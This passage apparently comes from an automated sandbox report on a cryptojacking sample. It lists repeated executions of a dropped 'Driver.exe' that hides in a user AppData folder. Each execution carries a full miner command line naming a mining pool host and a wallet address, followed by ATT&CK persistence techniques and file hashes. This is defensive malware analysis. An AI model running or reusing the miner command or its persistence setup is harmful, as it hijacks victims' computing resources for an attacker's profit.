  PID:1524
- C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe
  "C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe" -o pool.hashvault.pro:3333 -u 84EUKYR2H11atFNVAkBBeN2ms43rYAvFBbYJjA37BKULYfBZ7TptXP2aw6mPcBAg9yM6w27ntDcuDMq3iHJbUYPBTbuT74U -p x -k -v=0 --donate-level=1 -t 4
  2⤵
  PID:2444
- C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe
  "C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe" -o pool.hashvault.pro:3333 -u 84EUKYR2H11atFNVAkBBeN2ms43rYAvFBbYJjA37BKULYfBZ7TptXP2aw6mPcBAg9yM6w27ntDcuDMq3iHJbUYPBTbuT74U -p x -k -v=0 --donate-level=1 -t 4
  2⤵
  PID:1684
- C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe
  "C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe" -o pool.hashvault.pro:3333 -u 84EUKYR2H11atFNVAkBBeN2ms43rYAvFBbYJjA37BKULYfBZ7TptXP2aw6mPcBAg9yM6w27ntDcuDMq3iHJbUYPBTbuT74U -p x -k -v=0 --donate-level=1 -t 4
  2⤵
  PID:1692
- C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe
  "C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe" -o pool.hashvault.pro:3333 -u 84EUKYR2H11atFNVAkBBeN2ms43rYAvFBbYJjA37BKULYfBZ7TptXP2aw6mPcBAg9yM6w27ntDcuDMq3iHJbUYPBTbuT74U -p x -k -v=0 --donate-level=1 -t 4
  2⤵
  PID:2856
- C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe
  "C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe" -o pool.hashvault.pro:3333 -u 84EUKYR2H11atFNVAkBBeN2ms43rYAvFBbYJjA37BKULYfBZ7TptXP2aw6mPcBAg9yM6w27ntDcuDMq3iHJbUYPBTbuT74U -p x -k -v=0 --donate-level=1 -t 4
  2⤵
  PID:2380
- C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe
  "C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe" -o pool.hashvault.pro:3333 -u 84EUKYR2H11atFNVAkBBeN2ms43rYAvFBbYJjA37BKULYfBZ7TptXP2aw6mPcBAg9yM6w27ntDcuDMq3iHJbUYPBTbuT74U -p x -k -v=0 --donate-level=1 -t 4
  2⤵
  PID:1236
- C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe
  "C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe" -o pool.hashvault.pro:3333 -u 84EUKYR2H11atFNVAkBBeN2ms43rYAvFBbYJjA37BKULYfBZ7TptXP2aw6mPcBAg9yM6w27ntDcuDMq3iHJbUYPBTbuT74U -p x -k -v=0 --donate-level=1 -t 4
  2⤵
  PID:1776
- C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe
  "C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe" -o pool.hashvault.pro:3333 -u 84EUKYR2H11atFNVAkBBeN2ms43rYAvFBbYJjA37BKULYfBZ7TptXP2aw6mPcBAg9yM6w27ntDcuDMq3iHJbUYPBTbuT74U -p x -k -v=0 --donate-level=1 -t 4
  2⤵
  PID:2892
- C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe
  "C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe" -o pool.hashvault.pro:3333 -u 84EUKYR2H11atFNVAkBBeN2ms43rYAvFBbYJjA37BKULYfBZ7TptXP2aw6mPcBAg9yM6w27ntDcuDMq3iHJbUYPBTbuT74U -p x -k -v=0 --donate-level=1 -t 4
  2⤵
  PID:972
- C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe
  "C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe" -o pool.hashvault.pro:3333 -u 84EUKYR2H11atFNVAkBBeN2ms43rYAvFBbYJjA37BKULYfBZ7TptXP2aw6mPcBAg9yM6w27ntDcuDMq3iHJbUYPBTbuT74U -p x -k -v=0 --donate-level=1 -t 4
  2⤵
  PID:2776
- C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe
  "C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe" -o pool.hashvault.pro:3333 -u 84EUKYR2H11atFNVAkBBeN2ms43rYAvFBbYJjA37BKULYfBZ7TptXP2aw6mPcBAg9yM6w27ntDcuDMq3iHJbUYPBTbuT74U -p x -k -v=0 --donate-level=1 -t 4
  2⤵
  PID:2464
- C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe
  "C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe" -o pool.hashvault.pro:3333 -u 84EUKYR2H11atFNVAkBBeN2ms43rYAvFBbYJjA37BKULYfBZ7TptXP2aw6mPcBAg9yM6w27ntDcuDMq3iHJbUYPBTbuT74U -p x -k -v=0 --donate-level=1 -t 4
  2⤵
  PID:1324
- C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe
  "C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe" -o pool.hashvault.pro:3333 -u 84EUKYR2H11atFNVAkBBeN2ms43rYAvFBbYJjA37BKULYfBZ7TptXP2aw6mPcBAg9yM6w27ntDcuDMq3iHJbUYPBTbuT74U -p x -k -v=0 --donate-level=1 -t 4
  2⤵
  PID:2540
- C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe
  "C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe" -o pool.hashvault.pro:3333 -u 84EUKYR2H11atFNVAkBBeN2ms43rYAvFBbYJjA37BKULYfBZ7TptXP2aw6mPcBAg9yM6w27ntDcuDMq3iHJbUYPBTbuT74U -p x -k -v=0 --donate-level=1 -t 4
  2⤵
  PID:2740
- C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe
  "C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe" -o pool.hashvault.pro:3333 -u 84EUKYR2H11atFNVAkBBeN2ms43rYAvFBbYJjA37BKULYfBZ7TptXP2aw6mPcBAg9yM6w27ntDcuDMq3iHJbUYPBTbuT74U -p x -k -v=0 --donate-level=1 -t 4
  2⤵
  PID:2148
- C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe
  "C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe" -o pool.hashvault.pro:3333 -u 84EUKYR2H11atFNVAkBBeN2ms43rYAvFBbYJjA37BKULYfBZ7TptXP2aw6mPcBAg9yM6w27ntDcuDMq3iHJbUYPBTbuT74U -p x -k -v=0 --donate-level=1 -t 4
  2⤵
  PID:2184
- C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe
  "C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe" -o pool.hashvault.pro:3333 -u 84EUKYR2H11atFNVAkBBeN2ms43rYAvFBbYJjA37BKULYfBZ7TptXP2aw6mPcBAg9yM6w27ntDcuDMq3iHJbUYPBTbuT74U -p x -k -v=0 --donate-level=1 -t 4
  2⤵
  PID:2088
- C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe
  "C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe" -o pool.hashvault.pro:3333 -u 84EUKYR2H11atFNVAkBBeN2ms43rYAvFBbYJjA37BKULYfBZ7TptXP2aw6mPcBAg9yM6w27ntDcuDMq3iHJbUYPBTbuT74U -p x -k -v=0 --donate-level=1 -t 4
  2⤵
  PID:2100
- C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe
  "C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe" -o pool.hashvault.pro:3333 -u 84EUKYR2H11atFNVAkBBeN2ms43rYAvFBbYJjA37BKULYfBZ7TptXP2aw6mPcBAg9yM6w27ntDcuDMq3iHJbUYPBTbuT74U -p x -k -v=0 --donate-level=1 -t 4
  2⤵
  PID:1096
- C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe
  "C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe" -o pool.hashvault.pro:3333 -u 84EUKYR2H11atFNVAkBBeN2ms43rYAvFBbYJjA37BKULYfBZ7TptXP2aw6mPcBAg9yM6w27ntDcuDMq3iHJbUYPBTbuT74U -p x -k -v=0 --donate-level=1 -t 4
  2⤵
  PID:2380
- C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe
  "C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe" -o pool.hashvault.pro:3333 -u 84EUKYR2H11atFNVAkBBeN2ms43rYAvFBbYJjA37BKULYfBZ7TptXP2aw6mPcBAg9yM6w27ntDcuDMq3iHJbUYPBTbuT74U -p x -k -v=0 --donate-level=1 -t 4
  2⤵
  PID:2628
- C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe
  "C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe" -o pool.hashvault.pro:3333 -u 84EUKYR2H11atFNVAkBBeN2ms43rYAvFBbYJjA37BKULYfBZ7TptXP2aw6mPcBAg9yM6w27ntDcuDMq3iHJbUYPBTbuT74U -p x -k -v=0 --donate-level=1 -t 4
  2⤵
  PID:2208
- C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe
  "C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe" -o pool.hashvault.pro:3333 -u 84EUKYR2H11atFNVAkBBeN2ms43rYAvFBbYJjA37BKULYfBZ7TptXP2aw6mPcBAg9yM6w27ntDcuDMq3iHJbUYPBTbuT74U -p x -k -v=0 --donate-level=1 -t 4
  2⤵
  PID:2584
- C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe
  "C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe" -o pool.hashvault.pro:3333 -u 84EUKYR2H11atFNVAkBBeN2ms43rYAvFBbYJjA37BKULYfBZ7TptXP2aw6mPcBAg9yM6w27ntDcuDMq3iHJbUYPBTbuT74U -p x -k -v=0 --donate-level=1 -t 4
  2⤵
  PID:876
- C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe
  "C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe" -o pool.hashvault.pro:3333 -u 84EUKYR2H11atFNVAkBBeN2ms43rYAvFBbYJjA37BKULYfBZ7TptXP2aw6mPcBAg9yM6w27ntDcuDMq3iHJbUYPBTbuT74U -p x -k -v=0 --donate-level=1 -t 4
  2⤵
  PID:928
- C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe
  "C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe" -o pool.hashvault.pro:3333 -u 84EUKYR2H11atFNVAkBBeN2ms43rYAvFBbYJjA37BKULYfBZ7TptXP2aw6mPcBAg9yM6w27ntDcuDMq3iHJbUYPBTbuT74U -p x -k -v=0 --donate-level=1 -t 4
  2⤵
  PID:1944
- C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe
  "C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe" -o pool.hashvault.pro:3333 -u 84EUKYR2H11atFNVAkBBeN2ms43rYAvFBbYJjA37BKULYfBZ7TptXP2aw6mPcBAg9yM6w27ntDcuDMq3iHJbUYPBTbuT74U -p x -k -v=0 --donate-level=1 -t 4
  2⤵
  PID:972
- C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe
  "C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe" -o pool.hashvault.pro:3333 -u 84EUKYR2H11atFNVAkBBeN2ms43rYAvFBbYJjA37BKULYfBZ7TptXP2aw6mPcBAg9yM6w27ntDcuDMq3iHJbUYPBTbuT74U -p x -k -v=0 --donate-level=1 -t 4
  2⤵
  PID:2496
- C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe
  "C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe" -o pool.hashvault.pro:3333 -u 84EUKYR2H11atFNVAkBBeN2ms43rYAvFBbYJjA37BKULYfBZ7TptXP2aw6mPcBAg9yM6w27ntDcuDMq3iHJbUYPBTbuT74U -p x -k -v=0 --donate-level=1 -t 4
  2⤵
  PID:2972
- C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe
  "C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe" -o pool.hashvault.pro:3333 -u 84EUKYR2H11atFNVAkBBeN2ms43rYAvFBbYJjA37BKULYfBZ7TptXP2aw6mPcBAg9yM6w27ntDcuDMq3iHJbUYPBTbuT74U -p x -k -v=0 --donate-level=1 -t 4
  2⤵
  PID:2560
- C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe
  "C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe" -o pool.hashvault.pro:3333 -u 84EUKYR2H11atFNVAkBBeN2ms43rYAvFBbYJjA37BKULYfBZ7TptXP2aw6mPcBAg9yM6w27ntDcuDMq3iHJbUYPBTbuT74U -p x -k -v=0 --donate-level=1 -t 4
  2⤵
  PID:1080
- C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe
  "C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe" -o pool.hashvault.pro:3333 -u 84EUKYR2H11atFNVAkBBeN2ms43rYAvFBbYJjA37BKULYfBZ7TptXP2aw6mPcBAg9yM6w27ntDcuDMq3iHJbUYPBTbuT74U -p x -k -v=0 --donate-level=1 -t 4
  2⤵
  PID:872
- C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe
  "C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe" -o pool.hashvault.pro:3333 -u 84EUKYR2H11atFNVAkBBeN2ms43rYAvFBbYJjA37BKULYfBZ7TptXP2aw6mPcBAg9yM6w27ntDcuDMq3iHJbUYPBTbuT74U -p x -k -v=0 --donate-level=1 -t 4
  2⤵
  PID:2652
- C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe
  "C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe" -o pool.hashvault.pro:3333 -u 84EUKYR2H11atFNVAkBBeN2ms43rYAvFBbYJjA37BKULYfBZ7TptXP2aw6mPcBAg9yM6w27ntDcuDMq3iHJbUYPBTbuT74U -p x -k -v=0 --donate-level=1 -t 4
  2⤵
  PID:2628
- C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe
  "C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe" -o pool.hashvault.pro:3333 -u 84EUKYR2H11atFNVAkBBeN2ms43rYAvFBbYJjA37BKULYfBZ7TptXP2aw6mPcBAg9yM6w27ntDcuDMq3iHJbUYPBTbuT74U -p x -k -v=0 --donate-level=1 -t 4
  2⤵
  PID:2624
- C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe
  "C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe" -o pool.hashvault.pro:3333 -u 84EUKYR2H11atFNVAkBBeN2ms43rYAvFBbYJjA37BKULYfBZ7TptXP2aw6mPcBAg9yM6w27ntDcuDMq3iHJbUYPBTbuT74U -p x -k -v=0 --donate-level=1 -t 4
  2⤵
  PID:2916
- C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe
  "C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe" -o pool.hashvault.pro:3333 -u 84EUKYR2H11atFNVAkBBeN2ms43rYAvFBbYJjA37BKULYfBZ7TptXP2aw6mPcBAg9yM6w27ntDcuDMq3iHJbUYPBTbuT74U -p x -k -v=0 --donate-level=1 -t 4
  2⤵
  PID:1364
- C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe
  "C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe" -o pool.hashvault.pro:3333 -u 84EUKYR2H11atFNVAkBBeN2ms43rYAvFBbYJjA37BKULYfBZ7TptXP2aw6mPcBAg9yM6w27ntDcuDMq3iHJbUYPBTbuT74U -p x -k -v=0 --donate-level=1 -t 4
  2⤵
  PID:2992
- C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe
  "C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe" -o pool.hashvault.pro:3333 -u 84EUKYR2H11atFNVAkBBeN2ms43rYAvFBbYJjA37BKULYfBZ7TptXP2aw6mPcBAg9yM6w27ntDcuDMq3iHJbUYPBTbuT74U -p x -k -v=0 --donate-level=1 -t 4
  2⤵
  PID:2608
- C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe
  "C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe" -o pool.hashvault.pro:3333 -u 84EUKYR2H11atFNVAkBBeN2ms43rYAvFBbYJjA37BKULYfBZ7TptXP2aw6mPcBAg9yM6w27ntDcuDMq3iHJbUYPBTbuT74U -p x -k -v=0 --donate-level=1 -t 4
  2⤵
  PID:1760
- C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe
  "C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe" -o pool.hashvault.pro:3333 -u 84EUKYR2H11atFNVAkBBeN2ms43rYAvFBbYJjA37BKULYfBZ7TptXP2aw6mPcBAg9yM6w27ntDcuDMq3iHJbUYPBTbuT74U -p x -k -v=0 --donate-level=1 -t 4
  2⤵
  PID:792
- C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe
  "C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe" -o pool.hashvault.pro:3333 -u 84EUKYR2H11atFNVAkBBeN2ms43rYAvFBbYJjA37BKULYfBZ7TptXP2aw6mPcBAg9yM6w27ntDcuDMq3iHJbUYPBTbuT74U -p x -k -v=0 --donate-level=1 -t 4
  2⤵
  PID:2668
- C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe
  "C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe" -o pool.hashvault.pro:3333 -u 84EUKYR2H11atFNVAkBBeN2ms43rYAvFBbYJjA37BKULYfBZ7TptXP2aw6mPcBAg9yM6w27ntDcuDMq3iHJbUYPBTbuT74U -p x -k -v=0 --donate-level=1 -t 4
  2⤵
  PID:1860
- C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe
  "C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe" -o pool.hashvault.pro:3333 -u 84EUKYR2H11atFNVAkBBeN2ms43rYAvFBbYJjA37BKULYfBZ7TptXP2aw6mPcBAg9yM6w27ntDcuDMq3iHJbUYPBTbuT74U -p x -k -v=0 --donate-level=1 -t 4
  2⤵
  PID:2100

C:\Windows\system32\conhost.exe
\??\C:\Windows\system32\conhost.exe "-17561677301045055959-222971030-89048281015169278871631911083-1851431782118150451"
1⤵
- Executes dropped EXE
PID:848

C:\Windows\system32\conhost.exe
\??\C:\Windows\system32\conhost.exe "256294885-957573389-100058566117891824171616474686-1392357496-1564784575340015385"
1⤵
- Executes dropped EXE
PID:384

C:\Windows\system32\conhost.exe
\??\C:\Windows\system32\conhost.exe "235202572207689791333003748-124758315419574449612301680482088187536415716365"
1⤵
- Executes dropped EXE
PID:860

C:\Windows\system32\conhost.exe
\??\C:\Windows\system32\conhost.exe "-1704443472534552586-204211829144758874-6726481081265307775-1326601588-1794223650"
1⤵
- Executes dropped EXE
PID:2184

C:\Windows\system32\conhost.exe
\??\C:\Windows\system32\conhost.exe "1714981086129513641516318696921787462852-1684157241-1711127670-10859991181347929555"
1⤵
- Executes dropped EXE
PID:2056

C:\Windows\system32\conhost.exe
\??\C:\Windows\system32\conhost.exe "78577456518219282601949417898109926250415426921981729939984-1126524271-135458068"
1⤵
- Executes dropped EXE
PID:884

C:\Windows\system32\conhost.exe
\??\C:\Windows\system32\conhost.exe "-106620633019980297989935730-1840694482816997934-10326409241707825034532573799"
1⤵
PID:2912

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

Driver.exe

Path C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe
Size 3.1MB
SHA256 175dc2faac994ef9e17ce7c3b7c200dcf3220fc4c2c6134b44bfc9a5938a3542
MD5 8e92d0290f240b736e981018a5dc5c06
SHA1 c1f50660a1d6d7f64cac39f79f5c4bfd2d5d778d
SHA512 2c3d861d7f2d73d1ba0c7ec5695bb1b530200171ca39c72a56d17ea9ccdce3d1d985ff19f4fcefa6ce28483474e829e9c090ef2418826834da21a6567643322c
SSDEEP 24576:anNi2Lx6OFvpxJY5BHwDYtFy6b8XxU30VUV78d6ij+RNqN+7A6RdexYcer+5kwEv:SNDFFPJu8fBsVE6ij+RNg+UKpBv
MD5 SHA1 SHA512 SSDEEP

Submit Download

Driver.exe

Path C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe
Size 2.2MB
SHA256 766fd49ff3e0571fc25bab2caf57885f41202a63ffa0dbcc363421b64267ad38
MD5 1d9a0763c4ef652f09c5dc75708c9448
SHA1 f96be3a13c7fe50426559d6fbf5c452539aea3ad
SHA512 9e01491ac4ea0b4932931e92586f994b48d3f4d4d3e1ec6267be4fcb3a67283f704431312456628e67562263e1c3b0cec97b27a564be244b98303987edaac6d3
SSDEEP 24576:anNi2Lx6OFvpxJY5BHwDYtFy6b8XxU30VUV78d6ij+RNqN+7A6:SNDFFPJu8fBsVE6ij+RNg+U
MD5 SHA1 SHA512 SSDEEP

Submit Download

Driver.exe

Path C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe
Size 1.2MB
SHA256 e88f3ee5c8e5211f18741079a850a6c782be7b56b8d939aab013ff28430f2c01
MD5 3b2964b9788ed197d6fe9523a61ae3a4
SHA1 c2e0048f93211e7491ba06ea0c128c8b96fc333b
SHA512 aa0ebbe480f6796c3ecb06b48be2d79b6148667ed1e80afdcf3bc89ffcfa9161553d05670b4608562ba91e433f7cff896f3bb61718ce2341736bea6a16d010c9
SSDEEP 24576:anNi2Lx6OFvpxJY5BHwDYtFy6b8XxU30VUV78d6ij+I:SNDFFPJu8fBsVE6ij+I
MD5 SHA1 SHA512 SSDEEP

Submit Download

Driver.exe

Path C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe
Size 64KB
SHA256 3a74892c9ffe4e19d8ead5f1a5d6d623551061a7a8130b3cc87d8dfa7d93720d
MD5 489e7200d9baf1d533699671106c9edf
SHA1 96d268b98c74dffb0c489d28001df25441c37242
SHA512 a50910efb8d2a0066cd379f6218a10fc46aed11e8421119d237e5e17c91a4479116ffe03017af08c36d6a1682f9c03cf8a054b8b6b8826963142e639d06afad0
SSDEEP 1536:UoqxJcUUp6eUG83y6dAQ7RSdbpSx5AGio7EFq:U3xTAUG83y6GQ7RWbIjDiWEFq
MD5 SHA1 SHA512 SSDEEP

Submit Download

Driver.exe

Path C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe
Size 3.7MB
SHA256 218155aaa414c6b96ca25543e5514c87dba522944e36b21cc1eabde0da2d22d5
MD5 cdf1accadac3ff47ef09a32a0ba2c71c
SHA1 f1b8be9d9753fce189d28a5b9f833c2dbaad4fb4
SHA512 8ab335791b1466f82e4db5cdd5b8e84dd3f900cc693fcfa619f3e241912ec476cee6385d04b1a5241a719b90e14bf3c37a093461680c30acff3210d5ac3abff1
SSDEEP 49152:SNDFFPJu8fBsVE6ij+RNg+UKpBvtqB3mD:wzP88fBsnZTgOtqB3mD
MD5 SHA1 SHA512 SSDEEP

Submit Download

Driver.exe

Path C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe
Size 960KB
SHA256 b53236533851d0aef9b854442a11b45fbbd799e8142d02d7a967b6294a6f2767
MD5 640775e11eff564a3b57e3fc67053a7d
SHA1 c840cbb77460daa0e032d5210c0e179449164613
SHA512 25a32fb874511d666f7f765214128dbc257a7fc7d47e3dc369e120c735881f64d492d9ee93ac0ee8573d219bae5c910d60a2044f5e66b5bd14529fde27e8d731
SSDEEP 24576:anNi2Lx6OFvpxJY5BHwDYtFy6b8XxU30VUV78d6ijK:SNDFFPJu8fBsVE6ijK
MD5 SHA1 SHA512 SSDEEP

Submit Download

Driver.exe

Path C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe
Size 512KB
SHA256 127e1299e5ee4fdb221379d21d3751ea5a7efeea7db6f35c5419104fc3b2efe4
MD5 e35d99a094e25210437525192bcc08b2
SHA1 283481c590f42738db6d13452352349a7da0a84d
SHA512 39d27460afdeb30cdb06665b309935e21fe24f862d6e3bab0629745e5d19230699a8110a4b9263e8edc724251c633826630b2c5f00d86909b206bdd2cd338234
SSDEEP 12288:aG8h7WKZlZET56WKLx6uo4t+Jav2QxJY5BSGFOeQtem:anNi2Lx6OFvpxJY5BHwDYm
MD5 SHA1 SHA512 SSDEEP

Submit Download

Driver.exe

Path C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe
Size 189KB
SHA256 ec313f41fc0ae95ee3fb0ae6672fedf542b61939dc6f11ba9fb07dbfc446e01f
MD5 684708836a70ee2633b44d3f9602bba8
SHA1 4c43f47dec2bb70f426b309f221efd67742a45ce
SHA512 c306f0cff12d3b38048c9b987a0a0af02d0830437f0a7c6013985d294ecfa79f94cad64ef5a8baecb454431b5622ff255dfe50390520da771795a4f8a183875f
SSDEEP 3072:U3xTAUG83y6GQ7RWbIjDiWEF54KzSTndZLrIPSDFhJE+go50c7GkiHBf8XsJ3C8:alxG83BGQFps74xdZL4Ego5ZyVWu3X
MD5 SHA1 SHA512 SSDEEP

Submit Download

Driver.exe

Path C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe
Size 2.1MB
SHA256 8a6526df3251bff128daa1acde584ff6529e8a28764a20450d44021b3e64a21a
MD5 0b4e39fd5ab1fc69f3e9c4694474f519
SHA1 c5aef395aba45857a7705d4ccd770b9827f38519
SHA512 3dfe662d8c4f1838cb12dbc18ea96d67031ca53afbb1a3b6aed52d3777155740b9ad8ce46c375787f05eeb5883c2766d88f8083d403b84dfd4668ff17a6598fd
SSDEEP 24576:anNi2Lx6OFvpxJY5BHwDYtFy6b8XxU30VUV78d6ij+RNqN+7Z:SNDFFPJu8fBsVE6ij+RNg+1
MD5 SHA1 SHA512 SSDEEP

Submit Download

Driver.exe

Path C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe
Size 128KB
SHA256 b88166cba4aa8c13994dfd680762793808fb0427c3c9fe712796c6bbe30bea7d
MD5 fd5aed9b6a1dc4f430f850ef0c3919fc
SHA1 ac52af81911613e75622d10bce6b0ed39ec850bc
SHA512 3e1dfe906524f9aba1df162ab9c43ca30c6020ce9eef539c5f6245a569cb3c2129f5b5c01d4951d8b0df8a9d5fc637b3968288950745693abc207bb86036feea
SSDEEP 3072:U3xTAUG83y6GQ7RWbIjDiWEF54KzSTndZLrO:alxG83BGQFps74xdZL6
MD5 SHA1 SHA512 SSDEEP

Submit Download

Driver.exe

Path C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe
Size 1.2MB
SHA256 4dd9ddeb3c3f75a93ef73145dc8c021f1c3ecdaa5059b833feb08ffd62b6a069
MD5 c7ddca9083a80d3bbfeee570d9e384ec
SHA1 fcc844eb4d5a396763fc94160e387827bde3ce50
SHA512 5dfcdab097bc0e613e2195f44390c1b78dddd1ca286d02300dfacdbe934cfce8ec0d601ee691721322ff30f142a0d94552afcb84aa7a16a6fa446830b6621e16
SSDEEP 24576:anNi2Lx6OFvpxJY5BHwDYtFy6b8XxU30VUV78d6ij+Ro:SNDFFPJu8fBsVE6ij+Ro
MD5 SHA1 SHA512 SSDEEP

Submit Download

Driver.exe

Path C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe
Size 1.7MB
SHA256 f3faee5f8fc0593cb3a965e1ce7ff3f308696d16f2c90e096ffe26ad4533a20c
MD5 672d2eb6806d9d815dba56c604a8619e
SHA1 1c0fbf7343cbe023df22348eb65ef025cb5fefd9
SHA512 628e9b7c6b7f1de011214d57f8a3979bd4ec08ad1bc500911d794698d4e16d2f82b5c1285205a45c2e8fe0d168e7bc246a4c0369e0bfa8954098a7dac78d243e
SSDEEP 24576:anNi2Lx6OFvpxJY5BHwDYtFy6b8XxU30VUV78d6ij+RNqN:SNDFFPJu8fBsVE6ij+RNg
MD5 SHA1 SHA512 SSDEEP

Submit Download

Driver.exe

Path C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe
Size 3.5MB
SHA256 3091e51858d7ecc7174f9f5a070de95e9fd133fd588a5f515b6166dd2b33c966
MD5 a864bcd9f522c32baf55ed588e662370
SHA1 c1565dbc40f00f11c2d6df3c802f23c39869d99b
SHA512 616d54fd50e8a68080cc559801b3865e3b0f20e3cb24f70460d39d0c86c1a34889b9c59ca0acd569154946ae371107e71be32ab146776a13cd2ea4db754671f3
SSDEEP 24576:anNi2Lx6OFvpxJY5BHwDYtFy6b8XxU30VUV78d6ij+RNqN+7A6RdexYcer+5kwEW:SNDFFPJu8fBsVE6ij+RNg+UKpBvtqB3
MD5 SHA1 SHA512 SSDEEP

Submit Download

Driver.exe

Path C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe
Size 896KB
SHA256 8ba51c855d2eb7a7cf77956f90b5b2c35f9cee72573c46af85966f2430790cef
MD5 0efa6c53856915dbc54c1a2151af40e9
SHA1 f663f50613f94e6f263b02f76c471db6ee3d1722
SHA512 ea101f973634f3454c1b77b1235cdd135f5d338bf7a36ad80228fd148d6de77b463def4a5c65cb6829717da778e415e9bb746b2651f1917d83cbc25cebe248b7
